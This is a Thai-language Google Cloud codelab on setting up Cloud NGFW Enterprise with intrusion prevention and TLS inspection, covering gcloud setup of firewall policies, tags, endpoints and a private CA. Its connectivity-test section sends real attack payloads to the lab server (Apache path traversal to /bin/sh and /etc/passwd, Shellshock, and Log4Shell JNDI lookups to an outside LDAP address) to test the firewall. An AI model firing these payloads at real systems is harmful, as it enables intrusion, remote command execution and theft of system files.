1. บทนำ
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall เป็นบริการไฟร์วอลล์แบบกระจายเต็มรูปแบบที่มีความสามารถในการป้องกันขั้นสูง การแบ่งกลุ่มย่อย และการครอบคลุมที่แพร่หลายเพื่อปกป้องภาระงาน Google Cloud จากการโจมตีทั้งภายในและภายนอก
Cloud NGFW มีข้อดีดังนี้
- บริการไฟร์วอลล์แบบกระจาย: Cloud NGFW มีการบังคับใช้ตามโฮสต์แบบกระจายอย่างสมบูรณ์และเก็บสถานะในแต่ละเวิร์กโหลดเพื่อเปิดใช้สถาปัตยกรรมการรักษาความปลอดภัยแบบ Zero Trust
- การกำหนดค่าและการติดตั้งใช้งานที่ง่ายขึ้น: Cloud NGFW ใช้นโยบายไฟร์วอลล์เครือข่ายและแบบลำดับชั้นที่แนบกับโหนดลำดับชั้นของทรัพยากรได้ นโยบายเหล่านี้มอบประสบการณ์การใช้งานไฟร์วอลล์ที่สอดคล้องกันในลำดับชั้นของทรัพยากร Google Cloud
- การควบคุมแบบละเอียดและการแบ่งกลุ่มย่อย: การรวมนโยบายไฟร์วอลล์และแท็กที่ควบคุมโดย Identity and Access Management (IAM) ช่วยให้ควบคุมการรับส่งข้อมูลทั้งแบบเหนือ-ใต้และตะวันออก-ตะวันตกได้อย่างละเอียด ไปจนถึง VM เดียวในเครือข่ายและองค์กร Virtual Private Cloud (VPC)
Cloud NGFW พร้อมให้บริการในระดับต่อไปนี้
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise เพิ่มความสามารถของ Intrusion Prevention Service (IPS) และแซนด์บ็อกซ์มัลแวร์ขั้นสูง (WildFire) ที่ไม่บังคับ ซึ่งเป็นบริการตรวจสอบเลเยอร์ 7 ให้กับโครงสร้าง Google Cloud Firewall แบบกระจาย ระบบรองรับการตรวจสอบ TLS เพื่อให้สามารถตรวจสอบอย่างละเอียดและวิเคราะห์ไฟล์สำหรับการรับส่งข้อมูลที่เข้ารหัส TLS
ตอนนี้คุณสามารถติดตั้งใช้งานการตรวจสอบไฟร์วอลล์รุ่นถัดไป (NGFW) ของเลเยอร์ 7 ที่เชื่อถือได้ด้วยการควบคุมแบบละเอียด โดยไม่ต้องทำการเปลี่ยนแปลงใดๆ กับสถาปัตยกรรมเครือข่ายหรือการกำหนดค่าการกำหนดเส้นทาง
หากต้องการเปิดใช้งานและติดตั้งใช้งานการควบคุมไฟร์วอลล์เลเยอร์ 7 ด้วย IPS และแซนด์บ็อกซ์มัลแวร์ขั้นสูง (ไม่บังคับ) คุณต้องดำเนินการดังต่อไปนี้
- สร้างชุดปลายทางไฟร์วอลล์ระดับโซนที่จัดการโดย Google Cloud (เลือกเปิดใช้แซนด์บ็อกซ์มัลแวร์ขั้นสูงได้)
- สร้างนโยบายการตรวจสอบ TLS (ไม่บังคับ)
- สร้างการกำหนดค่าความน่าเชื่อถือ (ไม่บังคับ)
- เชื่อมโยงปลายทางเหล่านี้กับเครือข่าย Virtual Private Cloud (VPC) ที่คุณต้องการใช้บริการ Cloud NGFW Enterprise
- ทำการเปลี่ยนแปลงง่ายๆ กับนโยบายไฟร์วอลล์และกฎไฟร์วอลล์ที่มีอยู่เพื่อระบุการป้องกันภัยคุกคามและโปรไฟล์ความปลอดภัยแซนด์บ็อกซ์มัลแวร์ขั้นสูง (ไม่บังคับ) สำหรับเส้นทางการรับส่งข้อมูลต่างๆ
นโยบายไฟร์วอลล์เครือข่าย
นโยบายไฟร์วอลล์เครือข่ายทำหน้าที่เป็นคอนเทนเนอร์สำหรับกฎไฟร์วอลล์ กฎที่กำหนดไว้ในนโยบายไฟร์วอลล์เครือข่ายจะไม่มีผลบังคับใช้จนกว่านโยบายจะเชื่อมโยงกับเครือข่าย VPC เครือข่าย VPC แต่ละเครือข่ายสามารถมีนโยบายไฟร์วอลล์เครือข่ายที่เชื่อมโยงได้ 1 นโยบาย นโยบายไฟร์วอลล์เครือข่ายรองรับแท็กที่ควบคุมโดย IAM (หรือแท็ก) ในกฎไฟร์วอลล์ ซึ่งจะแทนที่แท็กเครือข่ายปัจจุบันและใช้เพื่อระบุข้อมูลประจำตัวของภาระงานได้
การแชร์นโยบายไฟร์วอลล์เครือข่ายในเครือข่ายต่างๆ และการผสานรวมกับแท็กที่ควบคุมโดย IAM ช่วยลดความซับซ้อนในการกำหนดค่าและการจัดการไฟร์วอลล์ได้อย่างมาก
เมื่อมีการเปิดตัวนโยบายไฟร์วอลล์เครือข่าย นโยบายไฟร์วอลล์ของ Google Cloud จะประกอบด้วยองค์ประกอบต่อไปนี้
- นโยบายไฟร์วอลล์แบบลำดับชั้น
- กฎไฟร์วอลล์ VPC
- นโยบายไฟร์วอลล์เครือข่าย ( ทั่วโลกและระดับภูมิภาค)
ระบบรองรับนโยบายไฟร์วอลล์แบบลำดับชั้นที่โหนดองค์กรและโหนดโฟลเดอร์ภายในลำดับชั้นทรัพยากร ส่วนกฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์เครือข่ายจะใช้ที่ระดับ VPC ความแตกต่างที่สำคัญระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์เครือข่ายคือ กฎไฟร์วอลล์ VPC จะใช้ได้กับเครือข่าย VPC เดียวเท่านั้น ส่วนนโยบายไฟร์วอลล์เครือข่ายจะแนบกับ VPC เดียวหรือกลุ่ม VPC ได้ รวมถึงมีประโยชน์อื่นๆ เช่น การอัปเดตเป็นกลุ่ม
สุดท้าย เรายังมีกฎไฟร์วอลล์โดยนัยที่มาพร้อมกับเครือข่าย VPC ทุกเครือข่าย ดังนี้
- กฎขาออกที่มีการดำเนินการเป็น "อนุญาต" และปลายทางเป็น 0.0.0.0/0
- กฎขาเข้าที่มีการดำเนินการเป็น "ปฏิเสธ" และแหล่งที่มาเป็น 0.0.0.0/0
โดยค่าเริ่มต้น ลำดับการบังคับใช้จะแสดงในแผนภาพต่อไปนี้

โปรดทราบว่าคุณสามารถสลับลำดับการบังคับใช้ระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์เครือข่ายส่วนกลางได้ ลูกค้าสามารถระบุลำดับการบังคับใช้ได้ทุกเมื่อด้วยคำสั่ง gcloud
แท็ก
แท็กที่ผสานรวมในกฎนโยบายไฟร์วอลล์เครือข่ายใหม่คือทรัพยากรคู่คีย์-ค่าที่กำหนดไว้ที่ระดับโปรเจ็กต์หรือองค์กรของลำดับชั้นทรัพยากร Google Cloud แท็กดังกล่าวมีการควบคุมการเข้าถึง IAM ซึ่งระบุว่าใครสามารถทำอะไรกับแท็กได้บ้าง ตัวอย่างเช่น สิทธิ์ Identity and Access Management (IAM) ช่วยให้ระบุได้ว่าผู้ใช้หลักรายใดสามารถกำหนดค่าให้กับแท็ก และผู้ใช้หลักรายใดสามารถแนบแท็กกับทรัพยากรได้ หากกฎไฟร์วอลล์เครือข่ายอ้างอิงแท็ก คุณต้องใช้แท็กดังกล่าวกับทรัพยากรเพื่อบังคับใช้
แท็กจะเป็นไปตามโมเดลทรัพยากรการรับค่าของ Google Cloud ซึ่งหมายความว่าแท็กและค่าของแท็กจะส่งต่อตามลำดับชั้นจากระดับบนสุด ด้วยเหตุนี้ ระบบจึงอาจสร้างแท็กในที่เดียว แล้วนำไปใช้โดยโฟลเดอร์และโปรเจ็กต์อื่นๆ ตลอดลำดับชั้นของทรัพยากร ดูรายละเอียดเกี่ยวกับแท็กและการจำกัดการเข้าถึงได้ที่หน้านี้
โปรดอย่าสับสนระหว่างแท็กกับแท็กเครือข่าย ส่วนแบบหลังคือสตริงที่เพิ่มลงในอินสแตนซ์ Compute Engine ได้ โดยจะเชื่อมโยงกับอินสแตนซ์และหายไปเมื่อเลิกใช้อินสแตนซ์ กฎไฟร์วอลล์ VPC อาจรวมแท็กเครือข่าย แต่เนื่องจากแท็กเหล่านี้ไม่ถือเป็นทรัพยากรระบบคลาวด์ จึงไม่อยู่ภายใต้การควบคุมการเข้าถึง IAM
โปรดทราบว่าแท็กและแท็กที่ควบคุมโดย IAM จะใช้แทนกันได้ในเอกสารนี้
สิ่งที่คุณจะสร้าง
Codelab นี้ต้องใช้โปรเจ็กต์เดียวและความสามารถในการสร้างเครือข่าย VPC รวมถึงจัดการทรัพยากรเครือข่ายและความปลอดภัยจำนวนหนึ่ง โดยจะสาธิตวิธีที่ Cloud NGFW Enterprise สามารถมอบฟังก์ชันการทำงานของ IPS และแซนด์บ็อกซ์มัลแวร์ขั้นสูง (WildFire) โดยทำดังนี้
- การตรวจสอบการไหลของข้อมูลอินเทอร์เน็ตขาออกด้วยการตรวจสอบ TLS
- การตรวจสอบการรับส่งข้อมูลภายใน VPC [ตะวันออก-ตะวันตก] ด้วยการตรวจสอบ TLS
- [ไม่บังคับ] การกำหนดค่าและการตรวจสอบการส่งไฟล์และนิติวิทยาศาสตร์ของแซนด์บ็อกซ์มัลแวร์ขั้นสูงสำหรับภัยคุกคามที่อิงตามไฟล์ที่ไม่รู้จักผ่านการรับส่งข้อมูลที่ตรวจสอบ TLS
ระบบจะเลือกโฟลว์ที่จะตรวจสอบโดยใช้พารามิเตอร์การจับคู่ของ Cloud Firewall ซึ่งรวมถึง 5-tuple (IP ต้นทาง, IP ปลายทาง, โปรโตคอล, พอร์ตต้นทาง, พอร์ตปลายทาง) และแท็ก

สถานะสุดท้ายของฐานกฎนโยบายไฟร์วอลล์เครือข่ายจะคล้ายกับตารางด้านล่าง
ลำดับความสำคัญ | ทิศทาง | Target | แหล่งที่มา | ปลายทาง | การดำเนินการ | ประเภท |
100 | ขาเข้า | Server_Tag | การตรวจสอบประสิทธิภาพการทำงาน | ตามแต่ละประเทศ | อนุญาต | Essentials |
200 | ขาเข้า | Client_Tag, Server_Tag | IAP | ตามแต่ละประเทศ | อนุญาต | Essentials |
800 | ขาเข้า | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | การตรวจสอบ L7 | Enterprise |
850 | ขาออก | Client_Tag | ตามแต่ละประเทศ | 10.0.0.0/24 | อนุญาต | Essentials |
900 | ขาออก | Client_Tag | ตามแต่ละประเทศ | ตามแต่ละประเทศ | การตรวจสอบ L7 | Enterprise |
สิ่งที่คุณจะได้เรียนรู้
- วิธีสร้างนโยบายไฟร์วอลล์เครือข่าย
- วิธีสร้างและใช้แท็กกับนโยบายไฟร์วอลล์เครือข่าย
- วิธีกำหนดค่าและใช้ Cloud NGFW Enterprise พร้อมการตรวจสอบ TLS
- [ไม่บังคับ] วิธีกำหนดค่าและตรวจสอบแซนด์บ็อกซ์มัลแวร์ขั้นสูง (WildFire) สำหรับภัยคุกคามที่อิงตามไฟล์ที่ไม่รู้จัก
สิ่งที่ต้องมี
- โปรเจ็กต์ Google Cloud
- มีความรู้เกี่ยวกับการติดตั้งใช้งานอินสแตนซ์และการกำหนดค่าคอมโพเนนต์เครือข่าย
- ความรู้เกี่ยวกับการกำหนดค่าไฟร์วอลล์ VPC
2. ก่อนเริ่มต้น
สร้าง/อัปเดตตัวแปร
Codelab นี้ใช้ $variables เพื่อช่วยในการติดตั้งใช้งานการกำหนดค่า gcloud ใน Cloud Shell
ใน Cloud Shell ให้เรียกใช้คำสั่งด้านล่างโดยแทนที่ข้อมูลภายในวงเล็บตามที่จำเป็น
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. เปิดใช้ API
เปิดใช้ API หากยังไม่ได้ดำเนินการ โดยทำดังนี้
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. การสร้างปลายทาง Cloud NGFW Enterprise
เนื่องจากการสร้างปลายทาง Cloud NGFW Enterprise ใช้เวลาประมาณ 20 นาที ระบบจะสร้างปลายทางก่อน และคุณสามารถตั้งค่าพื้นฐานไปพร้อมกันได้ในขณะที่ระบบสร้างปลายทาง
สร้างโปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัยโดยทำดังนี้
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
ผลลัพธ์ที่คาดหวัง:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
ตรวจสอบว่าสร้างทรัพยากรเรียบร้อยแล้วโดยทำดังนี้
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
เอาต์พุตที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้:
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
สร้างปลายทาง Cloud NGFW Enterprise โดยทำดังนี้
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
เรียกใช้คำสั่งด้านล่างเพื่อยืนยันว่ากำลังสร้างปลายทาง (CREATING) หรือ ACTIVE หากคุณใช้ --no-async
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
เอาต์พุตที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
ผลลัพธ์ที่คาดหวัง:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
กระบวนการสร้างจะใช้เวลาประมาณ 20 นาที ไปที่ส่วนการตั้งค่าพื้นฐานเพื่อสร้างทรัพยากรที่จำเป็นพร้อมกัน
5. การตั้งค่าฐาน
เครือข่าย VPC และซับเน็ต
เครือข่าย VPC และซับเน็ต
สร้างเครือข่าย VPC และซับเน็ตโดยทำดังนี้
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
สร้าง Cloud Router และเกตเวย์ Cloud NAT โดยทำดังนี้
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
อินสแตนซ์
สร้างอินสแตนซ์ไคลเอ็นต์และเว็บเซิร์ฟเวอร์โดยทำดังนี้
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
แท็กระดับโปรเจ็กต์
มอบหมายสิทธิ์ tagAdmin ให้กับผู้ใช้หากจำเป็น โดยทำดังนี้
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
สร้างคีย์และค่าแท็กระดับโปรเจ็กต์โดยทำดังนี้
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
เชื่อมโยงแท็กกับอินสแตนซ์โดยทำดังนี้
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
นโยบายไฟร์วอลล์เครือข่ายส่วนกลาง
สร้างนโยบายไฟร์วอลล์เครือข่ายส่วนกลางโดยทำดังนี้
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
สร้างกฎ Cloud Firewall Essentials ที่จำเป็นเพื่ออนุญาตการรับส่งข้อมูลจากช่วงการตรวจสอบประสิทธิภาพการทำงานและพร็อกซีที่รับรู้ข้อมูลประจำตัว ดังนี้
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
สร้างกฎไฟร์วอลล์ระบบคลาวด์ที่จำเป็นเพื่ออนุญาตการรับส่งข้อมูลขาเข้าแบบตะวันออก-ตะวันตก/ภายในซับเน็ตจากช่วงที่เฉพาะเจาะจง (กฎเหล่านี้จะได้รับการอัปเดตเพื่อเปิดใช้ Cloud NGFW Enterprise พร้อมการตรวจสอบ TLS)
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
เชื่อมโยงนโยบายไฟร์วอลล์ระบบคลาวด์กับเครือข่าย VPC โดยทำดังนี้
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. การเชื่อมโยงปลายทางของ Cloud Firewall
กำหนดตัวแปรสภาพแวดล้อมในกรณีที่คุณยังไม่ได้ดำเนินการและ/หรือต้องการใช้วิธีสคริปต์
ยืนยันว่าการสร้างปลายทาง Cloud Firewall เสร็จสมบูรณ์แล้ว ดำเนินการต่อเมื่อสถานะแสดงเป็น ACTIVE เท่านั้น (ในระหว่างการสร้าง สถานะที่คาดไว้คือ CREATING)
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
เอาต์พุตที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
ผลลัพธ์ที่คาดหวัง:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
เชื่อมโยงปลายทาง Cloud Firewall กับเครือข่าย VPC โดยทำดังนี้
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
กระบวนการเชื่อมโยงจะใช้เวลาประมาณ 10 นาที ดำเนินการต่อในส่วน TLS เฉพาะเมื่อสถานะแสดงเป็นใช้งานอยู่ (ในระหว่างการสร้าง สถานะที่คาดไว้คือกำลังสร้าง)
gcloud network-security firewall-endpoint-associations list
ผลลัพธ์ที่คาดหวังเมื่อเสร็จสมบูรณ์
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
ผลลัพธ์ที่คาดหวัง:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. กำหนดค่าทรัพยากร TLS
สร้างพูล CA ทรัพยากรนี้จะใช้เพื่อเก็บใบรับรอง CA ระดับรูทที่เราสร้างขึ้นสำหรับ NGFW Enterprise
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
สร้าง Root CA นี่คือใบรับรอง CA ที่จะใช้สำหรับการลงนามใบรับรองเพิ่มเติมสำหรับคำขอผ่าน NGFW Enterprise
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
หากได้รับข้อความแจ้งด้านล่าง ให้ตอบ y
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
สร้างบัญชีบริการ ระบบจะใช้บัญชีบริการนี้เพื่อขอใบรับรองสำหรับ NGFW Enterprise
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
ตั้งค่าสิทธิ์ IAM สำหรับบัญชีบริการโดยทำดังนี้
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
สร้างไฟล์ YAML ของนโยบาย TLS ไฟล์นี้จะมีข้อมูลเกี่ยวกับทรัพยากรที่เฉพาะเจาะจงต่อไปนี้
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
นำเข้านโยบายการตรวจสอบ TLS โดยทำดังนี้
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
อัปเดตการเชื่อมโยงปลายทางเพื่อเปิดใช้ TLS โดยทำดังนี้
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
รับใบรับรอง CA และเพิ่มลงในที่เก็บ CA ของไคลเอ็นต์โดยทำดังนี้
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
โอนใบรับรอง CA ไปยังไคลเอ็นต์โดยทำดังนี้
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
SSH ไปยัง VM, ย้ายใบรับรอง CA ไปยัง /usr/local/share/ca-certificates และอัปเดตที่เก็บ CA โดยทำดังนี้
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
ออกเพื่อกลับไปที่ Cloud Shell
กระบวนการลงนามใบรับรองเซิร์ฟเวอร์
ใน Cloud Shell ให้ติดตั้งไลบรารีวิทยาการเข้ารหัส Pyca โดยใช้คำสั่ง pip ดังนี้
pip install --user "cryptography>=2.2.0"
หากต้องการอนุญาตให้ Google Cloud SDK ใช้ไลบรารีวิทยาการเข้ารหัส Pyca คุณต้องเปิดใช้แพ็กเกจเว็บไซต์
export CLOUDSDK_PYTHON_SITEPACKAGES=1
สร้างใบรับรองเซิร์ฟเวอร์โดยทำดังนี้
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
ซึ่งจะสร้างไฟล์ cert.pem และ key.pem ใน Cloud Shell จากนั้นโอนใบรับรองและคีย์ไปยังเซิร์ฟเวอร์
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
SSH เข้าสู่เซิร์ฟเวอร์เพื่ออัปเดตรายละเอียดใบรับรองสำหรับ Apache โดยทำดังนี้
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
ย้ายใบรับรองและคีย์ไปยังโฟลเดอร์ที่ต้องการ โดยทำดังนี้
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
อัปเดตการกำหนดค่า SSL เพื่อใช้ใบรับรองที่ลงนามแล้ว โดยทำดังนี้
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
รีสตาร์ท Apache:
sudo systemctl restart apache2
ยืนยันสถานะ Apache โดยทำดังนี้
sudo systemctl status apache2
โดยควรอยู่ในสถานะทำงาน (กำลังทำงาน)
ออกจาก VM และดำเนินการต่อใน Cloud Shell
8. ตรวจสอบการเชื่อมต่อ Northbound และ E/W
เรียกใช้คำสั่งด้านล่างใน Cloud Shell และจด IP เป้าหมายที่จะใช้
gcloud compute instances list --filter="name=($prefix-$zone-www)"
เปิดแท็บใหม่และเริ่มการเชื่อมต่อ SSH กับ VM ของไคลเอ็นต์ผ่าน IAP (คุณจะต้องกำหนดตัวแปรในแท็บใหม่) โดยทำดังนี้
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
เรียกใช้คำสั่งด้านล่างและจด IP เป้าหมายที่จะใช้ สร้างตัวแปรที่แทนที่ค่าภายในวงเล็บด้วย IP ที่ระบุไว้จากขั้นตอนก่อนหน้า และตรวจสอบว่าเข้าถึงได้ โดยทำดังนี้
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
ใช้คำสั่ง Curl กับ IP ส่วนตัวและตรวจสอบว่าเข้าถึงได้ โดยทำดังนี้
curl https://$target_privateip --max-time 2
ผลลัพธ์ที่คาดหวังสำหรับคำขอ curl:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
ส่งการโจมตีตัวอย่างไปยัง IP เว็บเซิร์ฟเวอร์ควรตอบสนองต่อคำขอทั้งหมด โดยยืนยันว่าไม่มีการตรวจสอบ/การป้องกัน L7 ดังนี้
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
ตัวอย่างผลลัพธ์ที่คาดหวัง (IP ส่วนตัว)
400 404 400 200 200
ในทำนองเดียวกัน ให้ส่งคำขอไปยังปลายทางอินเทอร์เน็ต ดังนี้
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
